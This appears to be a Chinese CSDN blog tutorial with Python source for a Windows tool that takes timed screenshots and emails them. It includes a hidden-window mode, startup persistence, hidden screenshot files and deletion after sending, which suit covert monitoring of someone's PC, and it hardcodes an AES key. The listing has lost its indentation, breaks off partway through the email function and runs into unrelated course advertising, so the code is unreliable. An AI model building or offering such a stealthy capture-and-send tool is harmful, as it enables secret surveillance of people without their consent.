一步到位：用Python实现PC屏幕截图并自动发送邮件，实现屏幕监控_python截图网页放邮件附件

本文链接：https://blog.csdn.net/2201_75863152/article/details/137723002

3.使用tkinter库创建一个简单的图形用户界面（GUI），用于配置应用程序的设置。

4.通过使用logging库来记录日志，将日志保存到文件中。

5.使用configparser库来读取和保存应用程序的配置设置。

6.实现了开机自动启动功能，可以将应用程序设置为开机自动启动。

7.实现了隐藏和显示应用程序窗口的功能。

8.收件邮箱默认等于发件邮箱。

此外，代码还实现了一些其他功能，如数据加密和解密、删除已发送的截图文件等。

应用程序在为用户提供一个便捷的方式来定时截图并将截图发送给指定的收件人，适用于需要定期截图的监控、远程监视等场景。用户可以通过图形界面设置截图的间隔时间、截图的次数、发件人和收件人的电子邮件地址等。

具体代码

coding=utf-8

‘’’
@Author : TesterRoad
@Time : 2023/7/9 15:43
@Desc : 用python实现PC屏幕截图自动发送邮箱
@Software: PyCharm
‘’’
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob

KEY = b’MySuperSecretKey’

def encrypt_data(data):
cipher = AES.new(KEY, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data.encode(‘utf-8’), AES.block_size))
iv = base64.b64encode(cipher.iv).decode(‘utf-8’)
ct = base64.b64encode(ct_bytes).decode(‘utf-8’)
return iv + ct

def decrypt_data(data):
try:
iv = base64.b64decode(data[:24])
ct = base64.b64decode(data[24:])
cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode(‘utf-8’)
except:
return “Decryption Error!”

class ScreenshotApp:
def init(self):
self.root = tk.Tk()
self.root.title(“Screen”)

self.config = configparser.ConfigParser()
self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), “config.ini”)

if not os.path.exists(self.config_file):
self.create_default_config()

self.config.read(self.config_file) # 读取配置文件

self.sender_email_label = ttk.Label(self.root, text=“发件邮箱:”)
self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
self.sender_email_entry = ttk.Entry(self.root)
self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)

self.sender_password_label = ttk.Label(self.root, text=“发件邮箱密码:”)
self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
self.sender_password_entry = ttk.Entry(self.root, show=“*”)
self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)

self.interval_label = ttk.Label(self.root, text=“截图间隔时间:”)
self.interval_label.grid(row=2, column=0, padx=5, pady=5)
self.interval_entry = ttk.Entry(self.root)
self.interval_entry.grid(row=2, column=1, padx=5, pady=5)

self.count_label = ttk.Label(self.root, text=“发送截图数量:”)
self.count_label.grid(row=3, column=0, padx=5, pady=5)
self.count_entry = ttk.Entry(self.root)
self.count_entry.grid(row=3, column=1, padx=5, pady=5)

self.start_button = ttk.Button(self.root, text=“开始截图”, command=self.start_screenshot)
self.start_button.grid(row=4, column=0, padx=5, pady=5)

self.stop_button = ttk.Button(self.root, text=“停止截图”, command=self.stop_screenshot)
self.stop_button.grid(row=4, column=1, padx=5, pady=5)
self.stop_button.configure(state=“disabled”)

self.save_button = ttk.Button(self.root, text=“save”, command=self.save_settings)
self.save_button.grid(row=5, column=0, padx=5, pady=5)

self.autostart_var = tk.BooleanVar()
self.autostart_checkbutton = ttk.Checkbutton(self.root, text=“开机自动启动”, variable=self.autostart_var,
command=self.save_settings)
self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)

self.toggle_visibility_button = ttk.Button(self.root, text=“显示/隐藏”, command=self.toggle_visibility)
self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)

创建日志记录器

self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), “screenshot.log”)
self.logger = logging.getLogger(“ScreenshotApp”)
self.logger.setLevel(logging.INFO)
self.logger.addHandler(logging.FileHandler(self.log_file_path))

self.screenshot_running = False
self.screenshot_thread = None
self.stop_event = threading.Event()

初始化输入框的值

self.sender_email_entry.insert(0, self.config.get(“Settings”, “sender_email”, fallback=“”))
self.sender_password_entry.insert(0, self.get_decrypted_password())
self.interval_entry.insert(0, self.config.get(“Settings”, “interval”, fallback=“”))
self.count_entry.insert(0, self.config.get(“Settings”, “count”, fallback=“”))

初始化开机自动启动选项

self.autostart_var.set(self.is_autostart_enabled())

self.root.protocol(“WM_DELETE_WINDOW”, self.on_close)

self.root.bind(“”, self.toggle_visibility)

初始化窗口可见性

visibility = self.config.get(“Settings”, “visibility”, fallback=“visible”)
if visibility == “hidden”:
self.root.withdraw()

if self.autostart_var.get():
self.start_screenshot()

self.root.mainloop()

def on_close(self):
self.stop_screenshot()
self.save_settings()
self.delete_screenshots()
self.root.quit()

def create_default_config(self):
if not os.path.exists(self.config_file):
self.config[“Settings”] = {
“sender_email”: “”,
“sender_password”: “”,
“interval”: “”,
“count”: “”,
“autostart”: “False”,
“visibility”: “visible”
}

config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), “config.ini”)
with open(config_file_path, “w”) as configfile:
self.config.write(configfile)

def start_screenshot(self):
interval_text = self.interval_entry.get()
count_text = self.count_entry.get()

if not interval_text or not count_text:
self.logger.error(“请提供Screen间隔时间和Screen次数”)
return

try:
interval = int(interval_text)
count = int(count_text)
except ValueError:
self.logger.error(“Screen间隔时间和Screen次数必须是有效的整数”)
return
if not self.screenshot_running:
sender_email = self.sender_email_entry.get()
sender_password = self.sender_password_entry.get()
interval = int(self.interval_entry.get())
count = int(self.count_entry.get())

receiver_email = sender_email # 收件邮箱地址默认等于发件邮箱地址

self.logger.info(“开始Screen”)

self.start_button.configure(state=“disabled”)
self.stop_button.configure(state=“normal”)
self.screenshot_running = True
self.stop_event.clear()

self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(
receiver_email, sender_email, sender_password, interval, count))
self.screenshot_thread.start()

def stop_screenshot(self):
if self.screenshot_running:
self.screenshot_running = False
self.stop_event.set()
self.screenshot_thread.join()

self.logger.info(“停止Screen”)
self.start_button.configure(state=“normal”)
self.stop_button.configure(state=“disabled”)

def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
screenshot_count = 0
screenshots = []

获取用户主目录，并创建’Screenshots’文件夹

user_dir = os.path.expanduser(‘~’)
screenshot_dir = os.path.join(user_dir, ‘Screenshots’)
os.makedirs(screenshot_dir, exist_ok=True)

在开始Screen前清空’Screenshots’文件夹

self.delete_screenshots()

while screenshot_count < count and not self.stop_event.is_set():
try:

Screen

screenshot = pyautogui.screenshot()

生成文件名，格式为“Screen时间.png”

current_time = datetime.datetime.now().strftime(“%Y%m%d_%H%M%S”)
filename = f"Screen_{current_time}.png"

保存Screen到’Screenshots’文件夹中

screenshot_path = os.path.join(screenshot_dir, filename)
screenshot.save(screenshot_path)
screenshots.append(screenshot_path)
screenshot_count += 1

设置文件为隐藏

FILE_ATTRIBUTE_HIDDEN = 0x02
ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
self.logger.info(f"Screen成功: {screenshot_path}")

if screenshot_count == count: # 达到指定Screen次数后发送Screen
screenshot_count = 0
self.send_email(receiver_email, sender_email, sender_password, screenshots)
self.logger.info(f"Screen发送成功，共发送了 {len(screenshots)} 张Screen")
self.delete_screenshots(screenshots)
screenshots = [] # 清空已发送的Screen列表
except Exception as e:
self.logger.error(f"Screen失败: {str(e)}")

time.sleep(interval)

def send_email(self, receiver_email, sender_email, sender_password, filenames):
msg = MIMEMultipart()
msg[“From”] = sender_email

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数软件测试工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年软件测试全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。